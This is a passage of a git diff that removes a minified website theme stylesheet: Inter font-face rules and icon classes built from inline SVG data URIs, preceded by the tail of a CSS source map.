G,CAAC,GAAG,CAAC,GAAG,CAAC,qBAAwB,CACjD,AAED,AAAA,UAAU,AAAC,CACT,UAAU,CAAE,oBAAoB,CAChC,MAAM,CAAE,GAAG,CAAC,MAAM,CAAC,mBAAmB,CACtC,aAAa,CAAE,GAAG,CAClB,MAAM,CAAE,OAAO,CAChB,ACzCD,AAAA,SAAS,AAAC,CACR,QAAQ,CAAE,QAAQ,CACnB,AAED,AAAA,aAAa,AAAC,CACZ,OAAO,CAAE,IAAI,CACb,cAAc,CAAE,GAAG,CACnB,UAAU,CAAE,iBAAiB,CAC7B,aAAa,CAAE,GAAG,CAClB,OAAO,CAAE,GAAG,CACZ,MAAM,CAAE,OAAO,CACf,WAAW,CAAE,MAAM,CACpB,AAED,AAAA,aAAa,CAAC,YAAY,AAAC,CACzB,OAAO,CAAE,EAAE,CACZ,AAED,AAAA,cAAc,AAAC,CACb,OAAO,CAAE,IAAI,CACb,QAAQ,CAAE,QAAQ,CAClB,KAAK,CAAE,CAAC,CACR,GAAG,CAAE,IAAI,CACT,SAAS,CAAE,KAAK,CAChB,UAAU,CAAE,KAAK,CACjB,UAAU,CAAE,IAAI,CAChB,UAAU,CAAE,iBAAiB,CAC7B,KAAK,CAAE,aAAa,CACpB,UAAU,CAAE,kBAAkB,CAC9B,OAAO,CAAE,CAAC,CACV,aAAa,CAAE,GAAG,CAClB,OAAO,CAAE,GAAG,CACb,AAED,AAAA,cAAc,AAAA,KAAK,AAAC,CAClB,OAAO,CAAE,KAAK,CACf,AAED,AAAA,cAAc,CAAC,MAAM,CAAE,cAAc,CAAC,CAAC,AAAC,CACtC,KAAK,CAAE,IAAI,CACX,OAAO,CAAE,IAAI,CACb,GAAG,CAAE,GAAG,CACR,OAAO,CAAE,GAAG,CACZ,WAAW,CAAE,MAAM,CACnB,eAAe,CAAE,MAAM,CACvB,MAAM,CAAE,OAAO,CAChB,AAED,AAAA,cAAc,CAAC,MAAM,CAAC,KAAK,CAAE,cAAc,CAAC,CAAC,CAAC,KAAK,AAAC,CAClD,UAAU,CAAE,oBAAoB,CACjC" -} \ No newline at end of file diff --git a/public/scss/theme/default.css b/public/scss/theme/default.css deleted file mode 100644 index 86fce6e..0000000 --- a/public/scss/theme/default.css +++ /dev/null @@ -1,3 +0,0 @@ -@font-face{font-family:'Inter';font-style:normal;font-weight:400;font-display:swap;src:url("/font/Inter-Regular.woff2?v=3.19") format("woff2"),url("/font/Inter-Regular.woff?v=3.19") format("woff")}@font-face{font-family:'Inter';font-style:italic;font-weight:400;font-display:swap;src:url("/font/Inter-Italic.woff2?v=3.19") format("woff2"),url("/font/Inter-Italic.woff?v=3.19") format("woff")}@font-face{font-family:'Inter';font-style:normal;font-weight:600;font-display:swap;src:url("/font/Inter-SemiBold.woff2?v=3.19") format("woff2"),url("/font/Inter-SemiBold.woff?v=3.19") format("woff")}@font-face{font-family:'Inter';font-style:italic;font-weight:600;font-display:swap;src:url("/font/Inter-SemiBoldItalic.woff2?v=3.19") format("woff2"),url("/font/Inter-SemiBoldItalic.woff?v=3.19") format("woff")}.icon{display:block;width:18px;height:18px}.icon-facebook{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 30 30' fill='%231877f2' %3E%3Cpath d='M30 15.091C30 6.756 23.285 0 15 0S0 6.756 0 15.091C0 22.625 5.484 28.868 12.656 30V19.454H8.848V15.09h3.808v-3.324c0-3.782 2.239-5.872 5.666-5.872 1.64 0 3.358.295 3.358.295v3.714h-1.893c-1.863 0-2.443 1.164-2.443 2.358v2.83h4.16l-.665 4.362h-3.495V30C24.516 28.868 30 22.625 30 15.091z'%3E%3C/path%3E%3C/svg%3E")}.icon-twitter{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%231d9bf0' %3E%3Cpath d='M24 4.557c-.883.392-1.832.656-2.828.775 1.017-.609 1.798-1.574 2.165-2.724-.951.564-2.005.974-3.127 1.195-.897-.957-2.178-1.555-3.594-1.555-3.179 0-5.515 2.966-4.797 6.045-4.091-.205-7.719-2.165-10.148-5.144-1.29 2.213-.669 5.108 1.523 6.574-.806-.026-1.566-.247-2.229-.616-.054 2.281 1.581 4.415 3.949 4.89-.693.188-1.452.232-2.224.084.626 1.956 2.444 3.379 4.6 3.419-2.07 1.623-4.678 2.348-7.29 2.04 2.179 1.397 4.768 2.212 7.548 2.212 9.142 0 14.307-7.721 13.995-14.646.962-.695 1.797-1.562 2.457-2.549z'/%3E%3C/svg%3E");transform:scale(1.1)}.icon-youtube{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%23ff0000' %3E%3Cpath d='M23.498 6.186a3.016 3.016 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.017 3.017 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.016 3.016 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.015 3.015 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814zM9.545 15.568V8.432L15.818 12l-6.273 3.568z'%3E%3C/path%3E%3C/svg%3E");transform:scale(1.1)}.icon-github{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%2324292f' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E")}:root[data-color="dark"] .icon-github,:root[data-color="night"] .icon-github{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%236e7681' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E")}.icon-menu{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3Cpath d='M4,18h11c0.55,0,1-0.45,1-1v0c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,17.55,3.45,18,4,18z M4,13h8c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,12.55,3.45,13,4,13z M3,7L3,7c0,0.55,0.45,1,1,1h11c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4C3.45,6,3,6.45,3,7z M20.3,14.88L17.42,12l2.88-2.88c0.39-0.39,0.39-1.02,0-1.41l0,0 c-0.39-0.39-1.02-0.39-1.41,0l-3.59,3.59c-0.39,0.39-0.39,1.02,0,1.41l3.59,3.59c0.39,0.39,1.02,0.39,1.41,0l0,0 C20.68,15.91,20.69,15.27,20.3,14.88z'/%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3C/svg%3E")}.icon-toc{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23000000'%3E%3Cpath d='M0 0h24v24H0V0zm0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M3 9h14V7H3v2zm0 4h14v-2H3v2zm0 4h14v-2H3v2zm16 0h2v-2h-2v2zm0-10v2h2V7h-2zm0 6h2v-2h-2v2z'/%3E%3C/svg%3E")}.icon-close{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41z'/%3E%3C/svg%3E")}.icon-home{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Crect fill='none' height='24' width='24'/%3E%3Cpolygon opacity='.3' points='18,19 13,19 13,15 11,15 11,19 6,19 6,10.1 12,5.52 18,10.1'/%3E%3Cpath d='M12,3L6,7.58V6H4v3.11L1,11.4l1.21,1.59L4,11.62V21h16v-9.38l1.79,1.36L23,11.4L12,3z M18,19h-5v-4h-2v4H6v-8.9l6-4.58 l6,4.58V19z M10,1c0,1.66-1.34,3-3,3C6.45,4,6,4.45,6,5H4c0-1.66,1.34-3,3-3c0.55,0,1-0.45,1-1H10z'/%3E%3C/svg%3E")}.icon-book{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg/%3E%3Cg%3E%3Cpath d='M21,5c-1.11-0.35-2.33-0.5-3.5-0.5c-1.95,0-4.05,0.4-5.5,1.5c-1.45-1.1-3.55-1.5-5.5-1.5S2.45,4.9,1,6v14.65 c0,0.25,0.25,0.5,0.5,0.5c0.1,0,0.15-0.05,0.25-0.05C3.1,20.45,5.05,20,6.5,20c1.95,0,4.05,0.4,5.5,1.5c1.35-0.85,3.8-1.5,5.5-1.5 c1.65,0,3.35,0.3,4.75,1.05c0.1,0.05,0.15,0.05,0.25,0.05c0.25,0,0.5-0.25,0.5-0.5V6C22.4,5.55,21.75,5.25,21,5z M3,18.5V7 c1.1-0.35,2.3-0.5,3.5-0.5c1.34,0,3.13,0.41,4.5,0.99v11.5C9.63,18.41,7.84,18,6.5,18C5.3,18,4.1,18.15,3,18.5z M21,18.5 c-1.1-0.35-2.3-0.5-3.5-0.5c-1.34,0-3.13,0.41-4.5,0.99V7.49c1.37-0.59,3.16-0.99,4.5-0.99c1.2,0,2.4,0.15,3.5,0.5V18.5z'/%3E%3Cpath d='M11,7.49C9.63,6.91,7.84,6.5,6.5,6.5C5.3,6.5,4.1,6.65,3,7v11.5C4.1,18.15,5.3,18,6.5,18 c1.34,0,3.13,0.41,4.5,0.99V7.49z' opacity='.3'/%3E%3C/g%3E%3Cg%3E%3Cpath d='M17.5,10.5c0.88,0,1.73,0.09,2.5,0.26V9.24C19.21,9.09,18.36,9,17.5,9c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,10.69,16.18,10.5,17.5,10.5z'/%3E%3Cpath d='M17.5,13.16c0.88,0,1.73,0.09,2.5,0.26V11.9c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,13.36,16.18,13.16,17.5,13.16z'/%3E%3Cpath d='M17.5,15.83c0.88,0,1.73,0.09,2.5,0.26v-1.52c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,16.02,16.18,15.83,17.5,15.83z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E")}.icon-theme{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0z' fill='none'/%3E%3Cpath d='M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8zm-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12zm3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8zm5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8zm3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5z'/%3E%3C/svg%3E")}.icon-brightness{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12 18 9.52zm-6 7.98v-11c3.03 0 5.5 2.47 5.5 5.5s-2.47 5.5-5.5 5.5z' opacity='.3'/%3E%3Cpath d='M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12 18 14.48zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5z'/%3E%3C/svg%3E")}.icon-light-mode{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Ccircle cx='12' cy='12' opacity='.3' r='3'/%3E%3Cpath d='M12,9c1.65,0,3,1.35,3,3s-1.35,3-3,3s-3-1.35-3-3S10.35,9,12,9 M12,7c-2.76,0-5,2.24-5,5s2.24,5,5,5s5-2.24,5-5 S14.76,7,12,7L12,7z M2,13l2,0c0.55,0,1-0.45,1-1s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S1.45,13,2,13z M20,13l2,0c0.55,0,1-0.45,1-1 s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S19.45,13,20,13z M11,2v2c0,0.55,0.45,1,1,1s1-0.45,1-1V2c0-0.55-0.45-1-1-1S11,1.45,11,2z M11,20v2c0,0.55,0.45,1,1,1s1-0.45,1-1v-2c0-0.55-0.45-1-1-1C11.45,19,11,19.45,11,20z M5.99,4.58c-0.39-0.39-1.03-0.39-1.41,0 c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0s0.39-1.03,0-1.41L5.99,4.58z M18.36,16.95 c-0.39-0.39-1.03-0.39-1.41,0c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0c0.39-0.39,0.39-1.03,0-1.41 L18.36,16.95z M19.42,5.99c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06c-0.39,0.39-0.39,1.03,0,1.41 s1.03,0.39,1.41,0L19.42,5.99z M7.05,18.36c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06 c-0.39,0.39-0.39,1.03,0,1.41s1.03,0.39,1.41,0L7.05,18.36z'/%3E%3C/svg%3E")}.icon-dark-mode{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27 C17.45,17.19,14.93,19,12,19c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z' opacity='.3'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27C17.45,17.19,14.93,19,12,19 c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z M12,3c-4.97,0-9,4.03-9,9s4.03,9,9,9s9-4.03,9-9c0-0.46-0.04-0.92-0.1-1.36 c-0.98,1.37-2.58,2.26-4.4,2.26c-2.98,0-5.4-2.42-5.4-5.4c0-1.81,0.89-3.42,2.26-4.4C12.92,3.04,12.46,3,12,3L12,3z'/%3E%3C/svg%3E")}.icon-night-mode{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg%3E%3Cpath d='M8.1,14.15C9.77,14.63,11,16.17,11,18c0,0.68-0.19,1.31-0.48,1.87c0.48,0.09,0.97,0.14,1.48,0.14 c1.48,0,2.9-0.41,4.13-1.15c-2.62-0.92-5.23-2.82-6.8-5.86C7.74,9.94,7.78,7.09,8.29,4.9c-2.57,1.33-4.3,4.01-4.3,7.1c0,0,0,0,0,0 c0.01,0,0.01,0,0.02,0C5.66,12,7.18,12.83,8.1,14.15z' opacity='.3'/%3E%3Cpath d='M19.78,17.51c-2.47,0-6.57-1.33-8.68-5.43C8.77,7.57,10.6,3.6,11.63,2.01C6.27,2.2,1.98,6.59,1.98,12 c0,0.14,0.02,0.28,0.02,0.42C2.61,12.16,3.28,12,3.98,12c0,0,0,0,0,0c0-3.09,1.73-5.77,4.3-7.1C7.78,7.09,7.74,9.94,9.32,13 c1.57,3.04,4.18,4.95,6.8,5.86c-1.23,0.74-2.65,1.15-4.13,1.15c-0.5,0-1-0.05-1.48-0.14c-0.37,0.7-0.94,1.27-1.64,1.64 c0.98,0.32,2.03,0.5,3.11,0.5c3.5,0,6.58-1.8,8.37-4.52C20.18,17.5,19.98,17.51,19.78,17.51z'/%3E%3Cpath d='M7,16l-0.18,0C6.4,14.84,5.3,14,4,14c-1.66,0-3,1.34-3,3s1.34,3,3,3c0.62,0,2.49,0,3,0c1.1,0,2-0.9,2-2 C9,16.9,8.1,16,7,16z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E")}.icon-translate{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12.65 15.67c.14-.36.05-.77-.23-1.05l-2.09-2.06.03-.03c1.74-1.94 2.98-4.17 3.71-6.53h1.94c.54 0 .99-.45.99-.99v-.02c0-.54-.45-.99-.99-.99H10V3c0-.55-.45-1-1-1s-1 .45-1 1v1H1.99c-.54 0-.99.45-.99.99 0 .55.45.99.99.99h10.18C11.5 7.92 10.44 9.75 9 11.35c-.81-.89-1.49-1.86-2.06-2.88-.16-.29-.45-.47-.78-.47-.69 0-1.13.75-.79 1.35.63 1.13 1.4 2.21 2.3 3.21L3.3 16.87c-.4.39-.4 1.03 0 1.42.39.39 1.02.39 1.42 0L9 14l2.02 2.02c.51.51 1.38.32 1.63-.35zM17.5 10c-.6 0-1.14.37-1.35.94l-3.67 9.8c-.24.61.22 1.26.87 1.26.39 0 .74-.24.88-.61l.89-2.39h4.75l.9 2.39c.14.36.49.61.88.61.65 0 1.11-.65.88-1.26l-3.67-9.8c-.22-.57-.76-.94-1.36-.94zm-1.62 7l1.62-4.33L19.12 17h-3.24z'/%3E%3C/svg%3E")}.icon-search{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-5-5.59-5.34-4.23-.52-7.79 3.04-7.27 7.27.34 2.8 2.56 5.12 5.34 5.59 2.03.34 3.94-.28 5.34-1.48l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0 .41-.41.41-1.08 0-1.49L15.5 14zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z'/%3E%3C/svg%3E")}.icon-select{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12 5.83L15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9 12 5.83zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15 12 18.17z'/%3E%3C/svg%3E")}.icon-calendar{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Crect height='2' opacity='.3' width='14' x='5' y='6'/%3E%3Cpath d='M19,4h-1V2h-2v2H8V2H6v2H5C3.89,4,3.01,4.9,3.01,6L3,20c0,1.1,0.89,2,2,2h14c1.1,0,2-0.9,2-2V6C21,4.9,20.1,4,19,4z M19,20 H5V10h14V20z M19,8H5V6h14V8z M9,14H7v-2h2V14z M13,14h-2v-2h2V14z M17,14h-2v-2h2V14z M9,18H7v-2h2V18z M13,18h-2v-2h2V18z M17,18 h-2v-2h2V18z'/%3E%3C/g%3E%3C/svg%3E")}.icon-next{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M24 24H0V0h24v24z' fill='none' opacity='.87'/%3E%3Cpath d='M7.38 21.01c.49.49 1.28.49 1.77 0l8.31-8.31c.39-.39.39-1.02 0-1.41L9.15 2.98c-.49-.49-1.28-.49-1.77 0s-.49 1.28 0 1.77L14.62 12l-7.25 7.25c-.48.48-.48 1.28.01 1.76z' fill='%23328ac1'/%3E%3C/svg%3E")}.icon-prev{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cg%3E%3Cpath d='M16.88,2.88L16.88,2.88c-0.49-0.49-1.28-0.49-1.77,0l-8.41,8.41c-0.39,0.39-0.39,1.02,0,1.41l8.41,8.41 c0.49,0.49,1.28,0.49,1.77,0l0,0c0.49-0.49,0.49-1.28,0-1.77L9.54,12l7.35-7.35C17.37,4.16,17.37,3.37,16.88,2.88z' fill='%23328ac1'/%3E%3C/g%3E%3C/svg%3E")}.icon-copyright{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91c.48.22 1.05.34 1.7.34.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z'/%3E%3C/svg%3E")}.icon-love{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23ff4d4d' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M13.35 20.13c-.76.69-1.93.69-2.69-.01l-.11-.1C5.3 15.27 1.87 12.16 2 8.28c.06-1.7.93-3.33 2.34-4.29 2.64-1.8 5.9-.96 7.66 1.1 1.76-2.06 5.02-2.91 7.66-1.1 1.41.96 2.28 2.59 2.34 4.29.14 3.88-3.3 6.99-8.55 11.76l-.1.09z'/%3E%3C/svg%3E")}.icons8-docker{display:inline-block;width:24px;height:24px;background:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iNjQiIGhlaWdodD0iNjQiIHZpZXdCb3g9IjAgMCA2NCA2NCI+CjxsaW5lYXJHcmFkaWVudCBpZD0icWt5blUyWThyT0h+YVpjOEkybHZkYV9HT0hXcXduU0U4U3ZfZ3IxIiB4MT0iMzIuMjUzIiB4Mj0iMzIuMjUzIiB5MT0iMTkiIHkyPSI1NSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPjxzdG9wIG9mZnNldD0iMCIgc3RvcC1jb2xvcj0iIzFhNmRmZiI+PC9zdG9wPjxzdG9wIG9mZnNldD0iMSIgc3RvcC1jb2xvcj0iI2M4MjJmZiI+PC9zdG9wPjwvbGluZWFyR3JhZGllbnQ+PHBhdGggZmlsbD0idXJsKCNxa3luVTJZOHJPSH5hWmM4STJsdmRhX0dPSFdxd25TRThTdl9ncjEpIiBkPSJNMjMuNjQ5LDU1Yy01LjU2OSwwLjAxNi0xMC41MDMtMS4wNTMtMTMuNTY5LTIuOTI2Yy0yLjc3Mi0xLjY4OS00Ljg5Ny00LjQyNi02LjMxMy04LjEzNCBjLTEuMjM0LTMuMzYyLTEuODA5LTYuNjQ4LTEuNzY0LTEwLjA1OGMtMC4wMDEtMC43NTksMC4yOTktMS40ODYsMC44NDYtMi4wMzNDMy4zOTYsMzEuMzAyLDQuMTIzLDMxLDQuODk2LDMxSDQzLjQ5IGMwLjIxMS0wLjAwOSwxLjQ5MS0wLjIxNSwyLjY2OS0wLjY2MWMtMC44OTctMS45MDItMS4wOTUtNC4wNDktMC41NjctNi4yNzRjMC4zMjYtMS4zNTgsMC44NzUtMi42MzksMS42MzItMy44MWwwLjU3My0wLjgyNiBjMC4yOTctMC40MjYsMC44NzItMC41NTUsMS4zMi0wLjI5NWwwLjg0MywwLjQ4NWMwLjM4NywwLjIyOCwzLjUxMywyLjE2OSw0LjUsNi4wMjFjMC41NTYtMC4wNjEsMS4xMTYtMC4wOTIsMS42NzQtMC4wOTUgYzMuMzg1LDAsNS4xMDEsMS4yMTksNS40MTEsMS40NjNjMCwwLDAsMCwwLDAuMDAxbDAuNTgsMC40NThjMC4zMzMsMC4yNjMsMC40NjMsMC43MDcsMC4zMjYsMS4xMDdsLTAuMjQsMC43MDIgYy0wLjQ1MSwxLjE0Mi0xLjEzMywyLjE1LTEuOTksMi45NjFjLTEuMTksMS4xNzYtMi42NDgsMi42MTQtNy4xMDMsMi43MzJjLTAuODk3LDIuMjcxLTIuOTE5LDYuNzI0LTYuMTk2LDEwLjQyNyBjLTEuOTA5LDIuMTU2LTQuMTQzLDMuOTgxLTYuNjQsNS40MjVjLTMuMDIyLDEuNzA4LTYuMjc5LDIuODg5LTkuNjg3LDMuNTEzQzI4LjEyMSw1NC43OTQsMjUuOTcyLDU1LDIzLjY0OSw1NXogTTQ4LjkxNiwyMS4zMjUgbC0wLjAzLDAuMDQ0Yy0wLjYxNiwwLjk1Mi0xLjA3NSwyLjAyNC0xLjM0NywzLjE1OWMtMC41MDEsMi4xMTQtMC4yMTIsNC4wNDUsMC44NTksNS43MzZjMC4xNDcsMC4yMzIsMC4xOTIsMC41MTYsMC4xMjUsMC43ODIgcy0wLjI0MywwLjQ5My0wLjQ4MywwLjYyN2MtMS42OTcsMC45NDMtNC4wMDksMS4zMDctNC41MTEsMS4zMjVMNC44OTYsMzNjLTAuMjM5LDAtMC40NjQsMC4wOTMtMC42MzMsMC4yNjMgYy0wLjE2OSwwLjE2OS0wLjI2MiwwLjM5NC0wLjI2MSwwLjYzM0MzLjk2LDM3LjExNCw0LjQ4LDQwLjA3OS